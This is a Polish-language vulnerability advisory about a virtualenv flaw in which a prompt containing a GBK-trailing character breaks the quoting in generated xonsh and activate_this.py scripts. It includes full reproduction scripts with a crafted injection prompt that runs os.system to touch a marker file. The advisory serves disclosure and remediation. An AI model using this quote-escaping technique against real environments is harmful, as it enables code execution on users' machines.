Wysoka

virtualenv: Literały aktywacji Xonsh zależą od kodeka dekodującego skrypt

  • Ujawniono: 20.10.2026
  • Aktualizacja: 18.11.2026 14:17

Komunikat źródłowy zmienił się od przygotowania tego objaśnienia. Sprawdź aktualne dane techniczne i oryginalny komunikat poniżej.

Podsumowanie

Tekst promptu dostarczony przez wywołującego może przekształcić się w wykonywalną składnię w skrypcie aktywacyjnym xonsh. Atakujący musi wpłynąć na wartość przekazaną do virtualenv, a użytkownik musi następnie aktywować środowisko.

Obszar podatności

Xonsh odczytuje skrypt aktywacyjny w UTF-8 przy użyciu starszego kodowania wielobajtowego, takiego jak GBK. Drukowalne bajty spoza zakresu ASCII mogą zmienić sposób, w jaki czytnik rozpoznaje sąsiadujący cudzysłów. Zgłoszenie dotyczy aktywacji POSIX. Nie stwierdzono zagrożenia w przypadku niepowiązanych aktywatorów.

Dane wejściowe kontrolowane przez atakującego

Atakujący kontroluje prompt lub dane ścieżki docelowej przekazane jako argument do virtualenv. Użytkownik później wykonuje skrypt aktywacyjny poleceniem source.

Dotknięty kod

Istotny kod źródłowy 21.14.8 znajduje się w: xonsh quote(), UTF-8 template writer.

Mechanizm

Generator zapisuje activate.xsh jako UTF-8. W quote() używano repr(), co pozostawia w pliku drukowalne znaki spoza ASCII i poprzedza wewnętrzny cudzysłów ukośnikiem odwrotnym (backslash). Komponent source powłoki xonsh odczytuje plik za pomocą $XONSH_ENCODING. W przypadku GBK lub Big5 bajty UTF-8 znaku 中 kończą się na 0xad, co w połączeniu z następującym ukośnikiem odwrotnym 0x5c tworzy jeden zdekodowany znak. W rezultacie ukośnik odwrotny przestaje modyfikować cudzysłów. Prompt zawierający oba rodzaje cudzysłowów może wtedy domknąć swój pythonowy literał łańcuchowy i wstrzyknąć instrukcje uruchamiane podczas aktywacji. Przy dekodowaniu źródłowym UTF-8 ta sama wartość pozostaje wewnątrz literału.

Odtworzenie i dowody

Pierwotne zgłoszenie ze skanera, ANT-2026-PAUVP7YL, wykazało ten błąd na poziomie bajtów w activate_this.py: spreparowany prompt załadowany przez exec(open(file).read(), ...) pod GBK wygenerował znacznik, podczas gdy kontrole UTF-8 i runpy.run_path tego nie zrobiły. Ścieżka xonsh opisana w tym komunikacie została zidentyfikowana w późniejszej weryfikacji przeprowadzonej przez opiekunów projektu. PR #3432 przedstawia łańcuch dekodowania kodu źródłowego w xonsh i zmienia quote() na ascii(), co zapisuje znaki spoza ASCII w postaci sekwencji ucieczki. Test regresyjny koduje wygenerowany literał jako ASCII, dekoduje go jako GBK i sprawdza, czy ast.literal_eval zwraca oryginalny prompt.

Atak wymaga kontroli nad wartością promptu lub ścieżki docelowej, podatnego kodowania źródłowego xonsh oraz późniejszego załadowania wygenerowanego pliku. Oryginalny przypadek testowy dla activate_this.py sam w sobie nie dowodzi wykonania kodu w xonsh; wynik ten przypisuje się oddzielnej analizie. Istniejące pliki activate.xsh muszą zostać wygenerowane ponownie po wdrożeniu poprawki.

Sekwencja ataku

mermaid
sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Pliki odtwarzające problem

Poniższe pliki pochodzą z raportu skanera dla ANT-2026-PAUVP7YL. Zostały one przetestowane względem commita a857a7823c73 w obrazie skanera. Punkt wejścia repro oczekuje plików towarzyszących w /tmp/repro.d; przypadki zmieniające identyfikatory użytkowników wymagają tymczasowego kontenera z uprawnieniami roota. Ostatnia linia wyjścia to BUG, gdy występuje zgłoszone zachowanie. Pliki te dołączono jako materiał dowodowy i nie były ponownie uruchamiane na potrzeby tej aktualizacji.

repro

#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK:   {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")

repro.d/activate_with_exec_open.py

#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys

this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")

repro.d/install_gbk_locale.py

#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys

locpath = sys.argv[1]
os.makedirs(locpath)

charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
    for trail in range(0x40, 0xFF):
        try:
            char = bytes([lead, trail]).decode("gbk")
        except UnicodeDecodeError:
            continue
        charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
    charmap_file.write("\n".join(charmap) + "\n")

# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)

gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
    sys.exit(f"zh_CN.GBK locale not usable: {codeset}")

repro.d/zh_CN_minimal.locale

comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE

Wpływ

Podatna aktywacja może wykonać polecenia z uprawnieniami użytkownika. Poziom zagrożenia określono jako wysoki (high), zgodnie z precedensem dotyczącym generowanych skryptów w GHSA-p58f-9548-mpm2. Atak wymaga kontroli nad przekazywanymi argumentami i późniejszej aktywacji przez użytkownika; nie wymaga zastąpienia pliku wykonywalnego ani modyfikacji zawartości app-data.

Testowane wersje

Dostarczony raport uzupełniający wskazuje, że wykonanie poleceń zostało niezależnie potwierdzone przez jego autora. Przegląd wdrożenia obejmował inspekcję kodu źródłowego i sprawdzenie załatanych wartości literałów bez ponownego uruchamiania tego exploita. Istotny kod źródłowy aktywacji jest identyczny w wydaniu 21.14.8 oraz w gałęzi upstream/main 233359cb. Opiekun projektu potwierdził wcześniej weryfikację zgłoszonych ustaleń w 21.14.8. Pierwsza podatna wersja nie została ustalona. Problem naprawiono w 21.14.9.

Znane środki zaradcze

Stosuj zaufane wartości promptu i ścieżki docelowej. W starszych wersjach używaj dekodowania źródeł UTF-8 w xonsh. Utwórz środowiska ponownie za pomocą virtualenv 21.14.9 lub nowszego.

Podatne wydanie

  • Problem występuje w virtualenv 21.14.8.

Podziękowania

Oryginalne zgłoszenie zostało dostarczone przez narzędzie Anthropic OSS Scanner jako ANT-2026-PAUVP7YL. Późniejszy przegląd dostarczony przez opiekunów projektu zidentyfikował pozostałą ścieżkę aktywacji.

Dodatkowa gałąź z poprawką

PR #3411 również stosuje literały zawierające wyłącznie znaki ASCII dla ścieżek i promptów, obok zmian stanu aktywacji. Obie gałęzie muszą zachować tę regułę cytowania przy integracji.

Co trzeba zrobić

Stosuj zaufane wartości promptu i ścieżki docelowej. W starszych wersjach używaj dekodowania źródeł UTF-8 w xonsh. Zaktualizuj virtualenv do wersji 21.14.9 (lub 21.14.9 bądź nowszej) i ponownie utwórz istniejące środowiska, aby odtworzyć pliki activate.xsh.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) virtualenv >= 21.3.0, < 21.14.9 21.14.9

Odnośniki

Ocena CVSS 7.8/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-94
Platforma
Python (PyPI)
Paczka
virtualenv
Ujawniono
20.10.2026
Aktualizacja
18.11.2026 14:17

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - PYSEC-2026-4377 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-394h-qwmc-48pf - CC BY 4.0

Historia podatności: virtualenv

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (21) w archiwum
Wszystkich wpisów
21
Pierwsza → ostatnia
12.2011 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 13
  • Średnia 8

Ujawnienia w latach

  1. 2017: 0
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 0
  10. 2026: 19

wcześniej: 1

Istotność:
  1. virtualenv: Literały aktywacji Xonsh zależą od kodeka dekodującego skrypt ten wpis
    Wysoka · 7.8 CVE-2026-113718 >= 21.3.0, < 21.14.9 21.14.9
  2. Wysoka CVE-2026-102937 < 21.7.12 21.7.12

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.